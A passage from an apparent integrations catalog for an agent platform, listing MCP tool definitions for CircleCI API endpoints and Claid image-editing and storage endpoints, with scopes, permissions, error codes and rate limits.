Scopes: api. circleci_get_insights_by_project_slug_workflows_by_workflow_name_summary (read) — Get the metrics and trends for a particular workflow on a single branch or all branches via GET /insights/{project-slug}/workflows/{workflow-name}/summary GET /api/v1/circleci/insights/{project_slug}/workflows/{workflow_name}/summary. Scopes: api. circleci_get_insights_by_project_slug_workflows_by_workflow_name_test_metrics (read) — Get test metrics for a project's workflows. Currently tests metrics are calculated based on 10 most recent workflow runs. via GET /insights/{project-slug}/workflows/{workflow-name}/test-metrics GET /api/v1/circleci/insights/{project_slug}/workflows/{workflow_name}/test-metrics. Scopes: api. circleci_get_insights_pages_by_project_slug_summary (read) — Get summary metrics and trends for a project at workflow and branch level. Workflow runs going back at most 90 days are included in the aggregation window. Trends are only supported upto last 30 days. Please note that Insights is not a financial reporting tool and should not be used for precise credit reporting. Credit reporting from Insights does not use the same source of truth as the billing information that is found in the Plan Overview page in the CircleCI UI, nor does the underlying data have the same data accuracy guarantees as the billing information in the CircleCI UI. This may lead to discrepancies between credits reported from Insights and the billing information in the Plan Overview page of the CircleCI UI. For precise credit reporting, always use the Plan Overview page in the CircleCI UI. via GET /insights/pages/{project-slug}/summary GET /api/v1/circleci/insights/pages/{project_slug}/summary. Scopes: api. circleci_get_insights_time_series_by_project_slug_workflows_by_workflow_name_jobs (read) — Get timeseries data for all jobs within a workflow. Hourly granularity data is only retained for 48 hours while daily granularity data is retained for 90 days. via GET /insights/time-series/{project-slug}/workflows/{workflow-name}/jobs GET /api/v1/circleci/insights/time-series/{project_slug}/workflows/{workflow_name}/jobs. Scopes: api. circleci_get_jobs_by_job_id (read) — Gets a job's metadata by its unique ID, including its name, job number, type, status, and associated resource IDs. via GET /jobs/{job_id} GET /api/v1/circleci/jobs/{job_id}. Scopes: api. circleci_get_me (read) — Provides information about the user that is currently signed in. via GET /me GET /api/v1/circleci/me. Scopes: api. circleci_get_me_collaborations (read) — Provides the set of organizations of which a user is a member or a collaborator. The set of organizations that a user can collaborate on is composed of: * Organizations that the current user belongs to across VCS types (e.g. BitBucket, GitHub) * The parent organization of repository that the user can collaborate on, but is not necessarily a member of * The organization of the current user's account via GET /me/collaborations GET /api/v1/circleci/me/collaborations. Scopes: api. circleci_get_org_by_orgid_oidc_custom_claims (read) — Fetches org-level custom claims of OIDC identity tokens via GET /org/{orgID}/oidc-custom-claims GET /api/v1/circleci/org/{orgID}/oidc-custom-claims. Scopes: api. circleci_get_org_by_orgid_project_by_projectid_oidc_custom_claims (read) — Fetches project-level custom claims of OIDC identity tokens via GET /org/{orgID}/project/{projectID}/oidc-custom-claims GET /api/v1/circleci/org/{orgID}/project/{projectID}/oidc-custom-claims. Scopes: api. circleci_get_organization_by_org_slug_or_id (read) — Retrieve an organization by slug or ID via GET /organization/{org-slug-or-id} GET /api/v1/circleci/organization/{org_slug_or_id}. Scopes: api. circleci_get_organization_by_org_slug_or_id_url_orb_allow_list (read) — List the entries in the org's URL Orb allow-list via GET /organization/{org-slug-or-id}/url-orb-allow-list GET /api/v1/circleci/organization/{org_slug_or_id}/url-orb-allow-list. Scopes: api. circleci_get_organizations_by_org_id_groups (read) — Get all the groups in an organization. via GET /organizations/{org_id}/groups GET /api/v1/circleci/organizations/{org_id}/groups. Scopes: api. circleci_get_organizations_by_org_id_groups_by_group_id (read) — Get details for a group in an organization. Currently only supported for standalone organizations. via GET /organizations/{org_id}/groups/{group_id} GET /api/v1/circleci/organizations/{org_id}/groups/{group_id}. Scopes: api. circleci_get_organizations_by_org_id_usage_export_job_by_usage_export_job_id (read) — Gets a usage export for an organization. via GET /organizations/{org_id}/usage_export_job/{usage_export_job_id} GET /api/v1/circleci/organizations/{org_id}/usage_export_job/{usage_export_job_id}. Scopes: api. circleci_get_otel_exporters (read) — [__EXPERIMENTAL__] Returns a list of OTLP exporter configurations for the given organization. via GET /otel/exporters GET /api/v1/circleci/otel/exporters. Scopes: api. circleci_get_owner_by_ownerid_context_by_context_decision (read) — This endpoint will return a list of decision audit logs that were made using this owner's policies. via GET /owner/{ownerID}/context/{context}/decision GET /api/v1/circleci/owner/{ownerID}/context/{context}/decision. Scopes: api. circleci_get_owner_by_ownerid_context_by_context_decision_by_decisionid (read) — This endpoint will retrieve a decision for a given decision log ID via GET /owner/{ownerID}/context/{context}/decision/{decisionID} GET /api/v1/circleci/owner/{ownerID}/context/{context}/decision/{decisionID}. Scopes: api. circleci_get_owner_by_ownerid_context_by_context_decision_by_decisionid_policy_bundle (read) — This endpoint will retrieve a policy bundle for a given decision log ID via GET /owner/{ownerID}/context/{context}/decision/{decisionID}/policy-bundle GET /api/v1/circleci/owner/{ownerID}/context/{context}/decision/{decisionID}/policy-bundle. Scopes: api. circleci_get_owner_by_ownerid_context_by_context_decision_settings (read) — This endpoint retrieves the current decision settings (eg enable/disable policy evaluation) via GET /owner/{ownerID}/context/{context}/decision/settings GET /api/v1/circleci/owner/{ownerID}/context/{context}/decision/settings. Scopes: api. circleci_get_owner_by_ownerid_context_by_context_policy_bundle (read) — This endpoint will retrieve a policy bundle via GET /owner/{ownerID}/context/{context}/policy-bundle GET /api/v1/circleci/owner/{ownerID}/context/{context}/policy-bundle. Scopes: api. circleci_get_owner_by_ownerid_context_by_context_policy_bundle_by_policyname (read) — This endpoint will retrieve a policy document. via GET /owner/{ownerID}/context/{context}/policy-bundle/{policyName} GET /api/v1/circleci/owner/{ownerID}/context/{context}/policy-bundle/{policyName}. Scopes: api. circleci_get_pipeline (read) — Returns all pipelines for the most recently built projects (max 250) you follow in an organization. via GET /pipeline GET /api/v1/circleci/pipeline. Scopes: api. circleci_get_pipeline_by_pipeline_id (read) — Returns a pipeline by the pipeline ID. via GET /pipeline/{pipeline-id} GET /api/v1/circleci/pipeline/{pipeline_id}. Scopes: api. circleci_get_pipeline_by_pipeline_id_config (read) — Returns a pipeline's configuration by ID. via GET /pipeline/{pipeline-id}/config GET /api/v1/circleci/pipeline/{pipeline_id}/config. Scopes: api. circleci_get_pipeline_by_pipeline_id_values (read) — Returns a map of pipeline values by pipeline ID. For more information see the [pipeline values reference page](https://circleci.com/docs/variables/#pipeline-values). via GET /pipeline/{pipeline_id}/values GET /api/v1/circleci/pipeline/{pipeline_id}/values. Scopes: api. circleci_get_pipeline_by_pipeline_id_workflow (read) — Returns a paginated list of workflows by pipeline ID. via GET /pipeline/{pipeline-id}/workflow GET /api/v1/circleci/pipeline/{pipeline_id}/workflow. Scopes: api. circleci_get_project_by_project_slug (read) — Retrieves a project by project slug. via GET /project/{project-slug} GET /api/v1/circleci/project/{project_slug}. Scopes: api. circleci_get_project_by_project_slug_checkout_key (read) — Returns a sequence of checkout keys for `:project`. via GET /project/{project-slug}/checkout-key GET /api/v1/circleci/project/{project_slug}/checkout-key. Scopes: api. circleci_get_project_by_project_slug_checkout_key_by_fingerprint (read) — Returns an individual checkout key via md5 or sha256 fingerprint. sha256 keys should be url-encoded. via GET /project/{project-slug}/checkout-key/{fingerprint} GET /api/v1/circleci/project/{project_slug}/checkout-key/{fingerprint}. Scopes: api. circleci_get_project_by_project_slug_envvar (read) — Returns four 'x' characters, in addition to the last four ASCII characters of the value, consistent with the display of environment variable values on the CircleCI website. via GET /project/{project-slug}/envvar GET /api/v1/circleci/project/{project_slug}/envvar. Scopes: api. circleci_get_project_by_project_slug_envvar_by_name (read) — Returns the masked value of environment variable :name. via GET /project/{project-slug}/envvar/{name} GET /api/v1/circleci/project/{project_slug}/envvar/{name}. Scopes: api. circleci_get_project_by_project_slug_pipeline (read) — Returns all pipelines for this project. via GET /project/{project-slug}/pipeline GET /api/v1/circleci/project/{project_slug}/pipeline. Scopes: api. circleci_get_project_by_project_slug_pipeline_by_pipeline_number (read) — Returns a pipeline by the pipeline number. via GET /project/{project-slug}/pipeline/{pipeline-number} GET /api/v1/circleci/project/{project_slug}/pipeline/{pipeline_number}. Scopes: api. circleci_get_project_by_project_slug_pipeline_mine (read) — Returns a sequence of all pipelines for this project triggered by the user. via GET /project/{project-slug}/pipeline/mine GET /api/v1/circleci/project/{project_slug}/pipeline/mine. Scopes: api. circleci_get_project_by_project_slug_schedule (read) — For a given project, returns all schedules associated with GitHub OAuth or Bitbucket Cloud pipeline definitions. Does not return schedule triggers associated with GitHub App pipelines. To fetch schedule triggers associated with GitHub App pipelines, use the [List pipeline definition triggers](https://circleci.com/docs/api/v2/index.html#tag/Trigger/operation/listPipelineDefinitionTriggers] endpoint. via GET /project/{project-slug}/schedule GET /api/v1/circleci/project/{project_slug}/schedule. Scopes: api. circleci_get_project_by_provider_by_organization_by_project_settings (read) — Returns a list of the advanced settings for a CircleCI project, whether enabled (true) or not (false). via GET /project/{provider}/{organization}/{project}/settings GET /api/v1/circleci/project/{provider}/{organization}/{project}/settings. Scopes: api. circleci_get_projects_by_project_id_pipeline_definitions (read) — List all pipeline definitions for a given project. [Share feedback](https://circleci.canny.io/cloud-feature-requests/p/project-administration-apis) about our Project Administration APIs. via GET /projects/{project_id}/pipeline-definitions GET /api/v1/circleci/projects/{project_id}/pipeline-definitions. Scopes: api. circleci_get_projects_by_project_id_pipeline_definitions_by_pipeline_definition_id (read) — Get details for a pipeline definition. Currently only supported for pipeline definitions where `config_source.provider` is `github_app`, `github_server`, `github_oauth`, `bitbucket_dc`, `bitbucket_oauth` or `gitlab`. [Share feedback](https://circleci.canny.io/cloud-feature-requests/p/project-administration-apis) about our Project Administration APIs. via GET /projects/{project_id}/pipeline-definitions/{pipeline_definition_id} GET /api/v1/circleci/projects/{project_id}/pipeline-definitions/{pipeline_definition_id}. Scopes: api. circleci_get_projects_by_project_id_pipeline_definitions_by_pipeline_definition_id_triggers (read) — List all triggers for a given pipeline definition. Currently only supported for pipeline definitions where `config_source.provider` is `github_oauth`, `github_app`, `github_server`, `bitbucket_dc`, or `schedule`. [Share feedback](https://circleci.canny.io/cloud-feature-requests/p/project-administration-apis) about our Project Administration APIs. via GET /projects/{project_id}/pipeline-definitions/{pipeline_definition_id}/triggers GET /api/v1/circleci/projects/{project_id}/pipeline-definitions/{pipeline_definition_id}/triggers. Scopes: api. circleci_get_projects_by_project_id_triggers_by_trigger_id (read) — Get details for a trigger. Currently only supported for triggers where `event_source.provider` is `github_oauth`, `github_app`, `github_server`, `bitbucket_dc`, `webhook`, or `schedule`. [Share feedback](https://circleci.canny.io/cloud-feature-requests/p/project-administration-apis) about our Project Administration APIs. via GET /projects/{project_id}/triggers/{trigger_id} GET /api/v1/circleci/projects/{project_id}/triggers/{trigger_id}. Scopes: api. circleci_get_schedule_by_schedule_id (read) — Get a schedule by id. via GET /schedule/{schedule-id} GET /api/v1/circleci/schedule/{schedule_id}. Scopes: api. circleci_get_user_by_id (read) — Provides information about the user with the given ID. via GET /user/{id} GET /api/v1/circleci/user/{id}. Scopes: api. circleci_get_webhook (read) — Get a list of outbound webhooks that match the given scope-type and scope-id. via GET /webhook GET /api/v1/circleci/webhook. Scopes: api. circleci_get_webhook_by_webhook_id (read) — Get an outbound webhook by id. via GET /webhook/{webhook_id} GET /api/v1/circleci/webhook/{webhook_id}. Scopes: api. circleci_get_workflow_by_id (read) — Returns summary fields of a workflow by ID. via GET /workflow/{id} GET /api/v1/circleci/workflow/{id}. Scopes: api. circleci_get_workflow_by_id_job (read) — Returns a sequence of jobs for a workflow. via GET /workflow/{id}/job GET /api/v1/circleci/workflow/{id}/job. Scopes: api. circleci_patch_org_by_orgid_oidc_custom_claims (write) — Creates/Updates org-level custom claims of OIDC identity tokens via PATCH /org/{orgID}/oidc-custom-claims PATCH /api/v1/circleci/org/{orgID}/oidc-custom-claims. Scopes: api. circleci_patch_org_by_orgid_project_by_projectid_oidc_custom_claims (write) — Creates/Updates project-level custom claims of OIDC identity tokens via PATCH /org/{orgID}/project/{projectID}/oidc-custom-claims PATCH /api/v1/circleci/org/{orgID}/project/{projectID}/oidc-custom-claims. Scopes: api. circleci_patch_owner_by_ownerid_context_by_context_decision_settings (write) — This endpoint allows modifying decision settings (eg enable/disable policy evaluation) via PATCH /owner/{ownerID}/context/{context}/decision/settings PATCH /api/v1/circleci/owner/{ownerID}/context/{context}/decision/settings. Scopes: api. circleci_patch_project_by_provider_by_organization_by_project_settings (write) — Updates one or more of the advanced settings for a CircleCI project. via PATCH /project/{provider}/{organization}/{project}/settings PATCH /api/v1/circleci/project/{provider}/{organization}/{project}/settings. Scopes: api. circleci_patch_projects_by_project_id_pipeline_definitions_by_pipeline_definition_id (write) — Update pipeline definition. Currently only supported for pipeline definitions where `config_source.provider` is `github_app`, `github_server`, or `bitbucket_dc`. [Share feedback](https://circleci.canny.io/cloud-feature-requests/p/project-administration-apis) about our Project Administration APIs. via PATCH /projects/{project_id}/pipeline-definitions/{pipeline_definition_id} PATCH /api/v1/circleci/projects/{project_id}/pipeline-definitions/{pipeline_definition_id}. Scopes: api. circleci_patch_projects_by_project_id_triggers_by_trigger_id (write) — Update a trigger. Currently only supported for triggers where `event_source.provider` is `github_oauth`, `github_app`, `github_server`, `bitbucket_dc`, `webhook`, or `schedule`. [Share feedback](https://circleci.canny.io/cloud-feature-requests/p/project-administration-apis) about our Project Administration APIs. via PATCH /projects/{project_id}/triggers/{trigger_id} PATCH /api/v1/circleci/projects/{project_id}/triggers/{trigger_id}. Scopes: api. circleci_patch_schedule_by_schedule_id (write) — Updates a schedule and returns the updated schedule. Available only on schedules associated with GitHub OAuth or Bitbucket Cloud pipeline definitions. To update schedule triggers for GitHub App pipeline definitions, use the [Update trigger](https://circleci.com/docs/api/v2/index.html#tag/Trigger/operation/updateTrigger) endpoint. via PATCH /schedule/{schedule-id} PATCH /api/v1/circleci/schedule/{schedule_id}. Scopes: api. circleci_post_context (write) — Creates a new context in the specified organization. via POST /context POST /api/v1/circleci/context. Scopes: api. circleci_post_context_by_context_id_restrictions (write) — Creates project or expression restriction on a context. via POST /context/{context_id}/restrictions POST /api/v1/circleci/context/{context_id}/restrictions. Scopes: api. circleci_post_jobs_by_job_id_cancel (write) — Cancel job with a given job ID. via POST /jobs/{job-id}/cancel POST /api/v1/circleci/jobs/{job_id}/cancel. Scopes: api. circleci_post_organization (write) — Create a new organization. For VCS providers (GitHub/Bitbucket), this validates access and syncs org data. For standalone orgs, this creates a new CircleCI organization. via POST /organization POST /api/v1/circleci/organization. Scopes: api. circleci_post_organization_by_org_slug_or_id_project (write) — Create a new project. Works for all organization types. via POST /organization/{org-slug-or-id}/project POST /api/v1/circleci/organization/{org_slug_or_id}/project. Scopes: api. circleci_post_organization_by_org_slug_or_id_url_orb_allow_list (write) — Create a new URL Orb allow-list entry via POST /organization/{org-slug-or-id}/url-orb-allow-list POST /api/v1/circleci/organization/{org_slug_or_id}/url-orb-allow-list. Scopes: api. circleci_post_organizations_by_org_id_groups (write) — Create a new group under the organization. Currently only supported for standalone organizations. via POST /organizations/{org_id}/groups POST /api/v1/circleci/organizations/{org_id}/groups. Scopes: api. circleci_post_organizations_by_org_id_usage_export_job (write) — Submits a request to create a usage export for an organization. via POST /organizations/{org_id}/usage_export_job POST /api/v1/circleci/organizations/{org_id}/usage_export_job. Scopes: api. circleci_post_otel_exporters (write) — [__EXPERIMENTAL__] Creates a new OTLP exporter configuration for the given organization. A maximum of 5 exporter configurations are allowed per organization. via POST /otel/exporters POST /api/v1/circleci/otel/exporters. Scopes: api. circleci_post_owner_by_ownerid_context_by_context_decision (write) — This endpoint will evaluate input data (config+metadata) against owner's stored policies and return a decision. via POST /owner/{ownerID}/context/{context}/decision POST /api/v1/circleci/owner/{ownerID}/context/{context}/decision. Scopes: api. circleci_post_owner_by_ownerid_context_by_context_policy_bundle (write) — This endpoint replaces the current policy bundle with the provided policy bundle via POST /owner/{ownerID}/context/{context}/policy-bundle POST /api/v1/circleci/owner/{ownerID}/context/{context}/policy-bundle. Scopes: api. circleci_post_pipeline_continue (write) — Continue a pipeline from the setup phase. For information on using pipeline parameters with dynamic configuration, see the [Pipeline values and parameters](https://circleci.com/docs/pipeline-variables/#pipeline-parameters-and-dynamic-configuration) docs. via POST /pipeline/continue POST /api/v1/circleci/pipeline/continue. Scopes: api. circleci_post_project_by_project_slug_checkout_key (write) — Not available to projects that use GitLab or GitHub App. Creates a new checkout key. This API request is only usable with a user API token. Please ensure that you have authorized your account with GitHub before creating user keys. This is necessary to give CircleCI the permission to create a user key associated with your GitHub user account. You can find this page by visiting Project Settings > Checkout SSH Keys via POST /project/{project-slug}/checkout-key POST /api/v1/circleci/project/{project_slug}/checkout-key. Scopes: api. circleci_post_project_by_project_slug_envvar (write) — Creates a new environment variable. via POST /project/{project-slug}/envvar POST /api/v1/circleci/project/{project_slug}/envvar. Scopes: api. circleci_post_project_by_project_slug_job_by_job_number_cancel (write) — Cancel job with a given job number. via POST /project/{project-slug}/job/{job-number}/cancel POST /api/v1/circleci/project/{project_slug}/job/{job_number}/cancel. Scopes: api. circleci_post_project_by_project_slug_pipeline (write) — **[This endpoint is superseded by the [new Trigger Pipeline API](#tag/Pipeline/operation/triggerPipelineRun), which supports all organization and pipeline types except GitLab.]** Triggers a new pipeline on the project. Does not support triggering pipelines integrated with GitLab or GitHub App. via POST /project/{project-slug}/pipeline POST /api/v1/circleci/project/{project_slug}/pipeline. Scopes: api. circleci_post_project_by_project_slug_schedule (write) — Creates a schedule and returns the created schedule. Available only on organizations of type `bitbucket` and `github`, and for the latter will exclusively create schedule triggers associated with the GitHub OAuth pipeline definition. For projects of type `circleci`, or to create schedule triggers for GitHub App pipeline definitions, use the [Create trigger](https://circleci.com/docs/api/v2/index.html#tag/Trigger/operation/createTrigger) endpoint. via POST /project/{project-slug}/schedule POST /api/v1/circleci/project/{project_slug}/schedule. Scopes: api. circleci_post_project_by_provider_by_organization_by_project_pipeline_run (write) — Trigger a pipeline given a pipeline definition ID. Currently only supported for pipeline definitions where `config_source.provider` is `github_app`, `github_server`, `github_oauth`, `bitbucket_dc`, or `bitbucket_oauth`. The slash-separated project slug is shown in Project Settings > Overview. Depending on the organization type, the project slug may have a human-readable format (`vcs_type/org_name/project_name`) or be an opaque string (e.g. `circleci/43G3lM5RtfFE7v5sa4nWAU/44n9wujWcTnVZ2b5S8Fnat`). via POST /project/{provider}/{organization}/{project}/pipeline/run POST /api/v1/circleci/project/{provider}/{organization}/{project}/pipeline/run. Scopes: api. circleci_post_projects_by_project_id_pipeline_definitions (write) — Create a pipeline definition for a given project. Currently only supported for pipeline definitions where `config_source.provider` is `github_app` or `github_server`. [Share feedback](https://circleci.canny.io/cloud-feature-requests/p/project-administration-apis) about our Project Administration APIs. via POST /projects/{project_id}/pipeline-definitions POST /api/v1/circleci/projects/{project_id}/pipeline-definitions. Scopes: api. circleci_post_projects_by_project_id_pipeline_definitions_by_pipeline_definition_id_triggers (write) — Create a trigger for a given pipeline definition. Currently only supported for pipeline definitions where `config_source.provider` is `github_oauth`, `github_app`, `github_server`, or `schedule`. [Share feedback](https://circleci.canny.io/cloud-feature-requests/p/project-administration-apis) about our Project Administration APIs. via POST /projects/{project_id}/pipeline-definitions/{pipeline_definition_id}/triggers POST /api/v1/circleci/projects/{project_id}/pipeline-definitions/{pipeline_definition_id}/triggers. Scopes: api. circleci_post_projects_by_project_id_rollback (write) — Performs a rollback operation by triggering a rollback pipeline. via POST /projects/{project_id}/rollback POST /api/v1/circleci/projects/{project_id}/rollback. Scopes: api. circleci_post_webhook (write) — Creates an outbound webhook for the given scope. via POST /webhook POST /api/v1/circleci/webhook. Scopes: api. circleci_post_workflow_by_id_approve_by_approval_request_id (write) — Approves a pending approval job in a workflow. via POST /workflow/{id}/approve/{approval_request_id} POST /api/v1/circleci/workflow/{id}/approve/{approval_request_id}. Scopes: api. circleci_post_workflow_by_id_cancel (write) — Cancels a running workflow. via POST /workflow/{id}/cancel POST /api/v1/circleci/workflow/{id}/cancel. Scopes: api. circleci_post_workflow_by_id_rerun (write) — Reruns a workflow. via POST /workflow/{id}/rerun POST /api/v1/circleci/workflow/{id}/rerun. Scopes: api. circleci_put_context_by_context_id_environment_variable_by_env_var_name (write) — Create or update an environment variable within a context. Returns information about the environment variable, not including its value. via PUT /context/{context_id}/environment-variable/{env_var_name} PUT /api/v1/circleci/context/{context_id}/environment-variable/{env_var_name}. Scopes: api. circleci_put_webhook_by_webhook_id (write) — Updates an existing outbound webhook by its unique ID. via PUT /webhook/{webhook_id} PUT /api/v1/circleci/webhook/{webhook_id}. Scopes: api. ================================================================================ ## Claid URL: https://www.agenticfabriq.com/integrations/claid Section: Integrated Tools Claid — 19 MCP tools Provider key: claid. Scopes: image_editing, storage. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. claid_ai_delete_v1_storage_storages_by_storage_id (write, destructive) — DESTRUCTIVE. Remove a storage connection from this Claid account. Claid stops being able to read from or write to that bucket, so every workflow whose `output` pointed at it starts failing, and the connection's stored cloud credentials are gone -- reconnecting means pasting them again. WHETHER ANYTHING IN THE BUCKET ITSELF IS TOUCHED IS UNMEASURED: no Claid credential existed when this integration shipped, and the vendor's own sources do not say. Treat it as removing the connection, and confirm with List connected storages rather than trusting the reply. NEEDS THE STORAGE KEY PERMISSION (Admin grants both). A Claid API key carries Storage, Image editing or both, chosen when the key is minted in the Claid dashboard and changeable afterwards at API keys -> Edit key -- so an Image-editing-only key is refused here while remaining a perfectly valid key, and re-pasting it will not help. Mint or edit the key with Storage instead. Claid reports a failure as `{"error_code", "error_type", "error_message", "error_details"}`. Measured credential-free 2026-09-26 and re-measured 2026-09-27: `Authorization: Bearer ` answers 401 error_code 108 "Could not validate credentials." while NO Authorization header answers 401 error_code 111 "Authorization is required." -- two different bodies, so a key Claid read and refused is distinguishable from one that never arrived. An unknown path answers 404 error_code 2005 and a wrong verb answers 405 {"detail":"Method Not Allowed"} BEFORE authentication, so a 401 here is a verdict on the credential rather than an unmounted route. Claid allows 120 requests a minute and 4 a second by default; image processing replies carry `RateLimit-Limit`, `RateLimit-Remaining` and `RateLimit-Reset`, and a 429 means the limit rather than the key. DELETE /api/v1/claid/v1/storage/storages/{storage_id}. Scopes: storage. claid_ai_get_v1_image_ai_edit_by_ai_edit_id (read) — Read the state of a job started by Start an AI edit of an image, and its generated images once it has finished. A POLL, not a new job: it costs no credits and returns whatever state the task is in. The ledger's response component is a `$ref` into a schema section the sealed sources did not carry, so the exact status vocabulary and the polling interval are UNMEASURED -- read the reply's own status field rather than assuming one this build could not observe. NEEDS THE IMAGE EDITING KEY PERMISSION (Admin grants both). A Claid API key carries Storage, Image editing or both, chosen when the key is minted in the Claid dashboard and changeable afterwards at API keys -> Edit key -- so a Storage-only key is refused here while remaining a perfectly valid key, and re-pasting it will not help. Mint or edit the key with Image editing instead. Claid reports a failure as `{"error_code", "error_type", "error_message", "error_details"}`. Measured credential-free 2026-09-26 and re-measured 2026-09-27: `Authorization: Bearer ` answers 401 error_code 108 "Could not validate credentials." while NO Authorization header answers 401 error_code 111 "Authorization is required." -- two different bodies, so a key Claid read and refused is distinguishable from one that never arrived. An unknown path answers 404 error_code 2005 and a wrong verb answers 405 {"detail":"Method Not Allowed"} BEFORE authentication, so a 401 here is a verdict on the credential rather than an unmounted route. Claid allows 120 requests a minute and 4 a second by default; image processing replies carry `RateLimit-Limit`, `RateLimit-Remaining` and `RateLimit-Reset`, and a 429 means the limit rather than the key. GET /api/v1/claid/v1/image/ai-edit/{ai_edit_id}. Scopes: image_editing. claid_ai_get_v1_image_ai_fashion_models_by_processing_request_id (read) — Read the state of a shoot started by Start an AI fashion-model shoot, and its generated images once it has finished. A POLL, not a new job: it costs no credits and returns whatever state the task is in. The ledger's response component is a `$ref` into a schema section the sealed sources did not carry, so the exact status vocabulary and the polling interval are UNMEASURED -- read the reply's own status field rather than assuming one this build could not observe. NEEDS THE IMAGE EDITING KEY PERMISSION (Admin grants both). A Claid API key carries Storage, Image editing or both, chosen when the key is minted in the Claid dashboard and changeable afterwards at API keys -> Edit key -- so a Storage-only key is refused here while remaining a perfectly valid key, and re-pasting it will not help. Mint or edit the key with Image editing instead. Claid reports a failure as `{"error_code", "error_type", "error_message", "error_details"}`. Measured credential-free 2026-09-26 and re-measured 2026-09-27: `Authorization: Bearer ` answers 401 error_code 108 "Could not validate credentials." while NO Authorization header answers 401 error_code 111 "Authorization is required." -- two different bodies, so a key Claid read and refused is distinguishable from one that never arrived. An unknown path answers 404 error_code 2005 and a wrong verb answers 405 {"detail":"Method Not Allowed"} BEFORE authentication, so a 401 here is a verdict on the credential rather than an unmounted route. Claid allows 120 requests a minute and 4 a second by default; image processing replies carry `RateLimit-Limit`, `RateLimit-Remaining` and `RateLimit-Reset`, and a 429 means the limit rather than the key. GET /api/v1/claid/v1/image/ai-fashion-models/{processing_request_id}. Scopes: image_editing. claid_ai_get_v1_image_edit_async_by_task_id (read) — Read the state of a job started by Edit an image asynchronously, and its output once the job has finished. A POLL, not a new job: it costs no credits and returns whatever state the task is in. The ledger's response component is a `$ref` into a schema section the sealed sources did not carry, so the exact status vocabulary and the polling interval are UNMEASURED -- read the reply's own status field rather than assuming one this build could not observe. NEEDS THE IMAGE EDITING KEY PERMISSION (Admin grants both). A Claid API key carries Storage, Image editing or both, chosen when the key is minted in the Claid dashboard and changeable afterwards at API keys -> Edit key -- so a Storage-only key is refused here while remaining a perfectly valid key, and re-pasting it will not help. Mint or edit the key with Image editing instead. Claid reports a failure as `{"error_code", "error_type", "error_message", "error_details"}`. Measured credential-free 2026-09-26 and re-measured 2026-09-27: `Authorization: Bearer ` answers 401 error_code 108 "Could not validate credentials." while NO Authorization header answers 401 error_code 111 "Authorization is required." -- two different bodies, so a key Claid read and refused is distinguishable from one that never arrived. An unknown path answers 404 error_code 2005 and a wrong verb answers 405 {"detail":"Method Not Allowed"} BEFORE authentication, so a 401 here is a verdict on the credential rather than an unmounted route. Claid allows 120 requests a minute and 4 a second by default; image processing replies carry `RateLimit-Limit`, `RateLimit-Remaining` and `RateLimit-Reset`, and a 429 means the limit rather than the key. GET /api/v1/claid/v1/image/edit/async/{task_id}. Scopes: image_editing. claid_ai_get_v1_image_edit_batch_by_task_id (read) — Read the state of a job started by Edit a batch of images, and its outputs once the batch has finished. A POLL, not a new job: it costs no credits and returns whatever state the task is in. The ledger's response component is a `$ref` into a schema section the sealed sources did not carry, so the exact status vocabulary and the polling interval are UNMEASURED -- read the reply's own status field rather than assuming one this build could not observe. NEEDS THE IMAGE EDITING KEY PERMISSION (Admin grants both). A Claid API key carries Storage, Image editing or both, chosen when the key is minted in the Claid dashboard and changeable afterwards at API keys -> Edit key -- so a Storage-only key is refused here while remaining a perfectly valid key, and re-pasting it will not help. Mint or edit the key with Image editing instead. Claid reports a failure as `{"error_code", "error_type", "error_message", "error_details"}`. Measured credential-free 2026-09-26 and re-measured 2026-09-27: `Authorization: Bearer ` answers 401 error_code 108 "Could not validate credentials." while NO Authorization header answers 401 error_code 111 "Authorization is required." -- two different bodies, so a key Claid read and refused is distinguishable from one that never arrived. An unknown path answers 404 error_code 2005 and a wrong verb answers 405 {"detail":"Method Not Allowed"} BEFORE authentication, so a 401 here is a verdict on the credential rather than an unmounted route. Claid allows 120 requests a minute and 4 a second by default; image processing replies carry `RateLimit-Limit`, `RateLimit-Remaining` and `RateLimit-Reset`, and a 429 means the limit rather than the key. GET /api/v1/claid/v1/image/edit/batch/{task_id}. Scopes: image_editing. claid_ai_get_v1_storage_storage_types (read) — The storage back ends Claid can connect to, which is also the vocabulary for the `type` member of Connect a storage -- read it before writing that call rather than guessing a name. IT IS ALSO THIS INTEGRATION'S CREDENTIAL CHECK: it is the only parameter-free, side-effect-free, credit-free read on the whole surface, so the connect form and the hosted paste page probe it. IF A KEY YOU BELIEVE IS GOOD IS REFUSED AT THE PASTE BOX, suspect the permission split before the key: this is a /v1/storage/* route, and whether an Image-editing-only key reaches it is UNMEASURED -- no Claid credential existed when this integration shipped. NEEDS THE STORAGE KEY PERMISSION (Admin grants both). A Claid API key carries Storage, Image editing or both, chosen when the key is minted in the Claid dashboard and changeable afterwards at API keys -> Edit key -- so an Image-editing-only key is refused here while remaining a perfectly valid key, and re-pasting it will not help. Mint or edit the key with Storage instead. Claid reports a failure as `{"error_code", "error_type", "error_message", "error_details"}`. Measured credential-free 2026-09-26 and re-measured 2026-09-27: `Authorization: Bearer ` answers 401 error_code 108 "Could not validate credentials." while NO Authorization header answers 401 error_code 111 "Authorization is required." -- two different bodies, so a key Claid read and refused is distinguishable from one that never arrived. An unknown path answers 404 error_code 2005 and a wrong verb answers 405 {"detail":"Method Not Allowed"} BEFORE authentication, so a 401 here is a verdict on the credential rather than an unmounted route. Claid allows 120 requests a minute and 4 a second by default; image processing replies carry `RateLimit-Limit`, `RateLimit-Remaining` and `RateLimit-Reset`, and a 429 means the limit rather than the key. GET /api/v1/claid/v1/storage/storage-types. Scopes: storage. claid_ai_get_v1_storage_storages (read) — Every storage this Claid account has connected, with the id the other storage tools take. This is where a `storage_id` comes from. NEEDS THE STORAGE KEY PERMISSION (Admin grants both). A Claid API key carries Storage, Image editing or both, chosen when the key is minted in the Claid dashboard and changeable afterwards at API keys -> Edit key -- so an Image-editing-only key is refused here while remaining a perfectly valid key, and re-pasting it will not help. Mint or edit the key with Storage instead. Claid reports a failure as `{"error_code", "error_type", "error_message", "error_details"}`. Measured credential-free 2026-09-26 and re-measured 2026-09-27: `Authorization: Bearer ` answers 401 error_code 108 "Could not validate credentials." while NO Authorization header answers 401 error_code 111 "Authorization is required." -- 